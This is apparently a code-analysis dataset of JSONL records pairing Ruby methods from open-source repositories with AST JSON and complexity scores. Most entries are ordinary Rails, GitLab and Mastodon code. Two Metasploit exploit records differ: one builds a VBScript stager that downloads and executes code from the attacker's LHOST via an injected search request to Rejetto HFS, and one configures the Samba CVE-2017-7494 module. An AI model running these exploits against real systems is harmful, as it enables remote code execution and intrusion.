\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]}]}]}]},null]}]},null]}]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestRequest\"]},\"create\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"class\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@response\",{\"type\":\"send\",\"children\":[null,\"build_response\",{\"type\":\"ivar\",\"children\":[\"@response_klass\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"request=\",{\"type\":\"ivar\",\"children\":[\"@request\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"request=\",{\"type\":\"ivar\",\"children\":[\"@request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"params=\",{\"type\":\"hash\",\"children\":[]}]}]},null]}]}]}","id":"a6d5e424-837d-45bf-abde-67d68b347a91"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/where_test.rb","start_line":392,"raw_source":"def test_where_with_boolean_for_string_column\n      count = Post.where(title: false).count\n      assert_equal 0, count\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_where_with_boolean_for_string_column\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"count\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"count\"]}]}]}]}","id":"171158b2-b2a5-4160-8bc2-13970fb94f67"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/persistence_test.rb","start_line":629,"raw_source":"def test_build_many_through_factory_with_block\n    topics = Topic.build([{ \"title\" => \"first\" }, { \"title\" => \"second\" }]) do |t|\n      t.author_name = \"David\"\n    end\n    assert_equal 2, topics.size\n    topics.each { |topic| assert_not_predicate topic, :persisted? }\n    topic1, topic2 = topics\n    assert_equal \"first\", topic1.title\n    assert_equal \"David\", topic1.author_name\n    assert_equal \"second\", topic2.title\n    assert_equal \"David\", topic2.author_name\n  end","complexity_score":21.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_build_many_through_factory_with_block\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topics\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"build\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"first\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"second\"]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"author_name=\",{\"type\":\"str\",\"children\":[\"David\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topics\"]},\"size\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topics\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"topic\"]},{\"type\":\"sym\",\"children\":[\"persisted?\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic1\"]},{\"type\":\"lvasgn\",\"children\":[\"topic2\"]}]},{\"type\":\"lvar\",\"children\":[\"topics\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"first\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic1\"]},\"title\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"David\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic1\"]},\"author_name\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"second\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic2\"]},\"title\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"David\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic2\"]},\"author_name\"]}]}]}]}","id":"dbe42909-23fe-4b35-8c46-722885f67b21"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/notification_service.rb","start_line":910,"raw_source":"def send_new_note_notifications(note)\n    notify_method = :\"note_#{note.noteable_ability_name}_email\"\n\n    recipients = NotificationRecipients::BuildService.build_new_note_recipients(note)\n    recipients.each do |recipient|\n      mailer.send(notify_method, recipient.user.id, note.id, recipient.reason).deliver_later\n    end\n  end","complexity_score":18.7,"ast_json":"{\"type\":\"def\",\"children\":[\"send_new_note_notifications\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"note\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"notify_method\",{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"note_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"noteable_ability_name\"]}]},{\"type\":\"str\",\"children\":[\"_email\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"recipients\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotificationRecipients\"]},\"BuildService\"]},\"build_new_note_recipients\",{\"type\":\"lvar\",\"children\":[\"note\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recipients\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"recipient\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mailer\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"notify_method\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recipient\"]},\"user\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recipient\"]},\"reason\"]}]},\"deliver_later\"]}]}]}]}","id":"056d658f-d61f-4be1-bba1-cb2aee40058c"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/output.rb","start_line":161,"raw_source":"def expired?\n          time + timeout < Time.now\n        end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expired?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"time\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"timeout\"]}]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]}]}","id":"c8475c9b-d457-4b02-b292-5d180a449c20"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/account/counters.rb","start_line":69,"raw_source":"def duplicate_values(key, value)\n    [\"#{key} = (account_stats.#{key} + #{value})\", 'updated_at = CURRENT_TIMESTAMP'].tap do |values|\n      values << 'last_status_at = CURRENT_TIMESTAMP' if key == :statuses_count && value.positive?\n    end\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"duplicate_values\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\" = (account_stats.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\" + \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]},{\"type\":\"str\",\"children\":[\"updated_at = CURRENT_TIMESTAMP\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"values\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"==\",{\"type\":\"sym\",\"children\":[\"statuses_count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"positive?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"<<\",{\"type\":\"str\",\"children\":[\"last_status_at = CURRENT_TIMESTAMP\"]}]},null]}]}]}","id":"178a835d-1d01-43d7-a9bc-34f6bc4e3789"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/members/approve_access_request_service.rb","start_line":21,"raw_source":"def handle_request_acceptance(access_requester)\n      limit_to_guest_if_billable_promotion_restricted(access_requester)\n      access_requester.accept_request(current_user)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_request_acceptance\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"access_requester\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"limit_to_guest_if_billable_promotion_restricted\",{\"type\":\"lvar\",\"children\":[\"access_requester\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"access_requester\"]},\"accept_request\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}","id":"ca6b5ad2-940e-4dc6-a713-e533386407d7"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/groups/update_service.rb","start_line":72,"raw_source":"def member_roles_to_prune(users)\n    return MemberRole.none if users.empty?\n\n    MemberRole\n      .includes(member: :member_roles)\n      .where(inherited_from: model.members.joins(:member_roles).select(\"member_roles.id\"))\n      .where(members: { user_id: users.map(&:id) })\n  end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"member_roles_to_prune\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"users\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MemberRole\"]},\"none\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MemberRole\"]},\"includes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"member\"]},{\"type\":\"sym\",\"children\":[\"member_roles\"]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inherited_from\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"members\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"member_roles\"]}]},\"select\",{\"type\":\"str\",\"children\":[\"member_roles.id\"]}]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"members\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}]}]}]}]}","id":"cc7b3474-726c-43f1-beae-2143cd0e4fc3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/time_trackable.rb","start_line":96,"raw_source":"def time_estimate\n    super || self.class.column_defaults['time_estimate']\n  end","complexity_score":4.9,"ast_json":"{\"type\":\"def\",\"children\":[\"time_estimate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"column_defaults\"]},\"[]\",{\"type\":\"str\",\"children\":[\"time_estimate\"]}]}]}]}","id":"a0b73469-9263-47b2-ad02-c9ae4393ae6e"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/dsl.rb","start_line":126,"raw_source":"def initialize(options, config)\n      @config  = config\n      @options = options\n\n      @plugins = []\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]},{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@config\",{\"type\":\"lvar\",\"children\":[\"config\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@plugins\",{\"type\":\"array\",\"children\":[]}]}]}]}","id":"020c5268-b696-44d2-84de-0ac72d02240b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relations_test.rb","start_line":1648,"raw_source":"def test_create_or_find_by_with_non_unique_attributes\n    Subscriber.create!(nick: \"bob\", name: \"the builder\")\n\n    assert_raises(ActiveRecord::RecordNotFound) do\n      Subscriber.create_or_find_by(nick: \"bob\", name: \"the cat\")\n    end\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_create_or_find_by_with_non_unique_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Subscriber\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nick\"]},{\"type\":\"str\",\"children\":[\"bob\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"the builder\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Subscriber\"]},\"create_or_find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nick\"]},{\"type\":\"str\",\"children\":[\"bob\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"the cat\"]}]}]}]}]}]}]}","id":"70b1a0d9-f1bb-4759-b618-a2d37dc29d1a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/vendor/github/page/login.rb","start_line":36,"raw_source":"def confirm_account_recovery_settings\n            click_on 'Confirm' if has_button?('Confirm')\n          end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"confirm_account_recovery_settings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_button?\",{\"type\":\"str\",\"children\":[\"Confirm\"]}]},{\"type\":\"send\",\"children\":[null,\"click_on\",{\"type\":\"str\",\"children\":[\"Confirm\"]}]},null]}]}","id":"8e3bb080-9b37-46ec-a043-2b28821085d2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb","start_line":93,"raw_source":"def primer\n    file_name = rand_text_alpha(rand(10) + 5)\n    file_ext = '.vbs'\n    file_full_name = file_name + file_ext\n    vbs_path = \"%TEMP%\\\\#{file_full_name}\"\n\n    vbs_code = \"Set x=CreateObject(\\\"Microsoft.XMLHTTP\\\")\\x0d\\x0a\"\n    vbs_code << \"On Error Resume Next\\x0d\\x0a\"\n    vbs_code << \"x.Open \\\"GET\\\",\\\"http://#{datastore['LHOST']}:#{datastore['SRVPORT']}#{get_resource}\\\",False\\x0d\\x0a\"\n    vbs_code << \"If Err.Number <> 0 Then\\x0d\\x0a\"\n    vbs_code << \"wsh.exit\\x0d\\x0a\"\n    vbs_code << \"End If\\x0d\\x0a\"\n    vbs_code << \"x.Send\\x0d\\x0a\"\n    vbs_code << \"Execute x.responseText\"\n\n    payloads = [\n      \"save|#{vbs_path}|#{vbs_code}\",\n      \"exec|wscript.exe //B //NOLOGO #{vbs_path}\"\n    ]\n\n    print_status(\"Sending a malicious request to #{target_uri.path}\")\n    payloads.each do |payload|\n      send_request_raw({\n        'method' => 'GET',\n        'uri' => \"/?search=%00{.#{URI::encode_www_form_component(payload)}.}\"\n      })\n    end\n    register_file_for_cleanup(vbs_path)\n  end","complexity_score":33.75,"ast_json":"{\"type\":\"def\",\"children\":[\"primer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file_name\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[10]}]},\"+\",{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file_ext\",{\"type\":\"str\",\"children\":[\".vbs\"]}]},{\"type\":\"lvasgn\",\"children\":[\"file_full_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"file_ext\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vbs_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%TEMP%\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_full_name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vbs_code\",{\"type\":\"str\",\"children\":[\"Set x=CreateObject(\\\"Microsoft.XMLHTTP\\\")\\r\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vbs_code\"]},\"<<\",{\"type\":\"str\",\"children\":[\"On Error Resume Next\\r\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vbs_code\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"x.Open \\\"GET\\\",\\\"http://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LHOST\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_resource\"]}]},{\"type\":\"str\",\"children\":[\"\\\",False\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vbs_code\"]},\"<<\",{\"type\":\"str\",\"children\":[\"If Err.Number <> 0 Then\\r\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vbs_code\"]},\"<<\",{\"type\":\"str\",\"children\":[\"wsh.exit\\r\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vbs_code\"]},\"<<\",{\"type\":\"str\",\"children\":[\"End If\\r\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vbs_code\"]},\"<<\",{\"type\":\"str\",\"children\":[\"x.Send\\r\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vbs_code\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Execute x.responseText\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payloads\",{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"save|\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vbs_path\"]}]},{\"type\":\"str\",\"children\":[\"|\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vbs_code\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"exec|wscript.exe //B //NOLOGO \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vbs_path\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending a malicious request to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payloads\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/?search=%00{.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"encode_www_form_component\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]},{\"type\":\"str\",\"children\":[\".}\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"lvar\",\"children\":[\"vbs_path\"]}]}]}]}","id":"a6b9180f-31e1-4a6e-a34f-f357ff2d05a6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/samba/is_known_pipename.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Samba is_known_pipename() Arbitrary Module Load',\n        'Description' => %q{\n          This module triggers an arbitrary shared library load vulnerability\n          in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module\n          requires valid credentials, a writeable folder in an accessible share,\n          and knowledge of the server-side path of the writeable folder. In\n          some cases, anonymous access combined with common filesystem locations\n          can be used to automatically exploit this vulnerability.\n        },\n        'Author' => [\n          'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery & Python Exploit\n          'hdm', # Metasploit Module\n          'bcoles', # Check logic\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2017-7494' ],\n          [ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],\n          [ 'ATT&CK', Mitre::Attack::Technique::T1083_FILE_AND_DIRECTORY_DISCOVERY ],\n          [ 'ATT&CK', Mitre::Attack::Technique::T1135_NETWORK_SHARE_DISCOVERY ],\n          [ 'ATT&CK', Mitre::Attack::Technique::T1592_002_SOFTWARE ],\n          [ 'ATT&CK', Mitre::Attack::Technique::T1055_001_DYNAMIC_LINK_LIBRARY_INJECTION ]\n        ],\n        'Payload' => {\n          'Space' => 9000,\n          'DisableNops' => true\n        },\n        'Platform' => 'linux',\n        'Targets' => [\n\n          [\n            'Automatic (Interact)',\n            {\n              'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'Interact' => true,\n              'Payload' => {\n                'Compat' => {\n                  'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find'\n                }\n              }\n            }\n          ],\n          [\n            'Automatic (Command)',\n            { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }\n          ],\n          [ 'Linux x86', { 'Arch' => ARCH_X86 } ],\n          [ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],\n          [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],\n          [ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ],\n          [ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ],\n          [ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ],\n          [ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ],\n          [ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ],\n          [ 'Linux PPC', { 'Arch' => ARCH_PPC } ],\n          [ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ],\n          [ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],\n          [ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ],\n          [ 'Linux SPARC64', { 'Arch' => ARCH_SPARC64 } ],\n          [ 'Linux s390x', { 'Arch' => ARCH_ZARCH } ],\n        ],\n        'DefaultOptions' => {\n          'DCERPC::fake_bind_multi' => false,\n          'SHELL' => '/bin/sh'\n        },\n        'Privileged' => true,\n        'DisclosureDate' => '2017-03-24',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => [REPEATABLE_SESSION]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),\n        OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),\n      ]\n    )\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Samba is_known_pipename() Arbitrary Module Load\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module triggers an arbitrary shared library load vulnerability\\n\"]},{\"type\":\"str\",\"children\":[\"          in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module\\n\"]},{\"type\":\"str\",\"children\":[\"          requires valid credentials, a writeable folder in an accessible share,\\n\"]},{\"type\":\"str\",\"children\":[\"          and knowledge of the server-side path of the writeable folder. In\\n\"]},{\"type\":\"str\",\"children\":[\"          some cases, anonymous access combined with common filesystem locations\\n\"]},{\"type\":\"str\",\"children\":[\"          can be used to automatically exploit this vulnerability.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"steelo 